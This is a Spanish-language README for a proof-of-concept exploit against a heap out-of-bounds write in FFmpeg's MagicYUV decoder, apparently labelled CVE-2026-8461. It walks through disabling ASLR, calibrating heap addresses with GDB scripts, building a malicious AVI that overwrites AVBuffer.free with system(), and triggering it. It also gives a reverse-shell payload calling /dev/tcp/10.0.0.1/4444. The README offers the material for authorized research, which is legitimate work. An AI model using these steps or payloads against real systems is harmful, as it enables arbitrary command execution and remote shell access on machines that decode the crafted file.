CVE-2026-8461 "PixelSmash" — PoC de escritura fuera de límites en el montón de MagicYUV de FFmpeg

[!WARNING] Este repositorio contiene un PoC funcional de explotación para una vulnerabilidad de corrupción del montón. Está destinado únicamente a investigación de seguridad autorizada, contextos CTF y análisis defensivo. No lo utilice contra sistemas que no posea o para los que no tenga permiso explícito por escrito.

Afectado: Decodificador MagicYUV de FFmpeg 8.0.1 (libavcodec/magicyuv.c)
Primitiva: Escritura OOB en montón → secuestro de AVBuffer.free → llamada a system()

Vulnerabilidad

magy_decode_slice() usa sheight (altura de slice sin recortar) como límite del bucle para escribir en el plano de salida Cb/Cr, pero asigna el búfer usando la height recortada. En la última slice de un fotograma especialmente diseñado, el bucle escribe más allá del final de la región asignada.

// magicyuv.c:291 — el puntero dst ya está en sheight×stride más allá del inicio del búfer
for (i = 0; i < avctx->width >> s->hshift[plane]; i++)
    dst[i] = get_vlc2(...);   // escritura OOB cuando sheight > height

La escritura fuera de límites aterriza en una estructura AVBuffer asignada posteriormente. controlando los bytes escritos, se sobrescribe AVBuffer.free con la dirección de system() y AVBuffer.opaque con la dirección de la cadena de comando en el montón. Cuando se libera el fotograma, av_buffer_unref() llama a system(cmd).

Informe técnico completo: Inglés · 中文

Archivos

Requisitos

Python >= 3.8
GDB >= 9.0
kernel.randomize_va_space = 0   (ASLR desactivado — necesario para la calibración)

Dependencias de Python: ninguna (solo stdlib).

Inicio rápido

Paso 0 — Desactivar ASLR

sudo sysctl -w kernel.randomize_va_space=0

Paso 1 — Generar calibración

Build de depuración (compilado con -g, p.ej., desde fuente con --enable-debug):

python3 auto_calibrate.py \
    --ffmpeg /ruta/a/ffmpeg-debug \
    --avi    /tmp/exploit.avi \
    -o       calibration.json

Build de producción (biblioteca compartida stripped, p.ej., apt install ffmpeg o --enable-shared personalizado):

python3 auto_calibrate_nosym.py \
    --ffmpeg  /ruta/a/ffmpeg \
    --libpath /ruta/a/ffmpeg/lib \
    --avi     /tmp/exploit.avi \
    -o        calibration.json

La ruta --avi debe ser idéntica entre la calibración y la entrega del exploit. Cambiar la longitud de la cadena de la ruta altera el diseño del montón e invalida la calibración.

Paso 2 — Generar AVI de explotación

python3 exploit_cve_2026_8461.py \
    --calibration calibration.json \
    --cmd "id > /tmp/pwned" \
    -o /tmp/exploit.avi

Paso 3 — Desencadenar

# Build de depuración (enlazado estáticamente)
/ruta/a/ffmpeg-debug -i /tmp/exploit.avi -f null -

# Build de producción (biblioteca compartida)
LD_LIBRARY_PATH=/ruta/a/lib /ruta/a/ffmpeg -i /tmp/exploit.avi -f null -

# FFmpeg instalado en el sistema (apt/yum)
ffmpeg -i /tmp/exploit.avi -f null -

Salida esperada: el comando se ejecuta, luego el proceso falla con corrupted size vs. prev_size.

cat /tmp/pwned
# uid=1000(usuario) gid=1000(usuario) groups=...

Ejemplo de shell inversa

python3 exploit_cve_2026_8461.py \
    --calibration calibration.json \
    --cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
    -o /tmp/exploit.avi

Diagrama de decisión del script de calibración

Binario FFmpeg objetivo
    │
    ├─ ¿Tiene símbolos de depuración?  (file ffmpeg | grep debug_info)
    │       └─ SÍ → auto_calibrate.py
    │
    └─ Stripped / producción
            │
            ├─ ¿Enlazado dinámicamente?  (ldd ffmpeg | grep libavutil)
            │       └─ SÍ → auto_calibrate_nosym.py
            │
            └─ Enlazado estáticamente + totalmente stripped
                    └─ Ningún script aplica
                       (requiere enfoque de hook malloc con LD_PRELOAD)

auto_calibrate_nosym.py funciona:

1. Rompiendo en av_buffer_create (siempre presente en libavutil.so .dynsym) para capturar los punteros de datos Cb y Cr sin necesidad de símbolos de nivel de fuente.
2. Estableciendo un watchpoint de escritura hardware de GDB en la dirección de inicio OOB.
3. Recorriendo el volcado del montón resultante para localizar la estructura AVBuffer y extraer la dirección de system().

Requisitos de activación

El exploit se activa cuando el objetivo decodifica el fotograma de video (no solo lo inspecciona):

PoC de línea base (solo escritura OOB, sin payload)

Para demostrar la vulnerabilidad sin ejecutar un comando:

python3 exploit_cve_2026_8461.py --baseline -o baseline.avi
ffmpeg -i baseline.avi -f null -
# falla con: free(): invalid pointer  o  corrupted size vs. prev_size

Alcance y limitaciones

• Arquitectura: Desarrollado y probado solo en x86_64. El exploit depende de un diseño de montón específico donde la estructura AVBuffer aterriza dentro de 640 bytes de la dirección de inicio OOB del plano Cb. En aarch64, el orden de asignación de glibc coloca AVBuffer más allá de ese rango (el bloque adyacente es el búfer Cr de ~10 KB), por lo que la escritura OOB no puede alcanzarlo con la geometría de fotograma actual. Portar a aarch64 requiere perfilar el diseño del montón de aarch64 y ajustar la geometría del fotograma en consecuencia.
• ASLR: Debe estar desactivado (kernel.randomize_va_space=0). Con ASLR activado, las direcciones del montón se aleatorizan en cada ejecución y la calibración no es aplicable. Se necesitaría una primitiva de fuga de información para extender esto a objetivos con ASLR activado.
• Alcance de calibración: Válido para un binario específico en una máquina específica. Una compilación diferente, una versión de libc diferente o una longitud de ruta AVI diferente requieren recalibración.
• Ruta AVI: El AVI de explotación debe entregarse a través de la misma ruta absoluta utilizada durante la calibración.
• auto_calibrate_nosym.py: Requiere un FFmpeg enlazado dinámicamente con libavutil.so accesible (ya sea en rutas del sistema o mediante --libpath).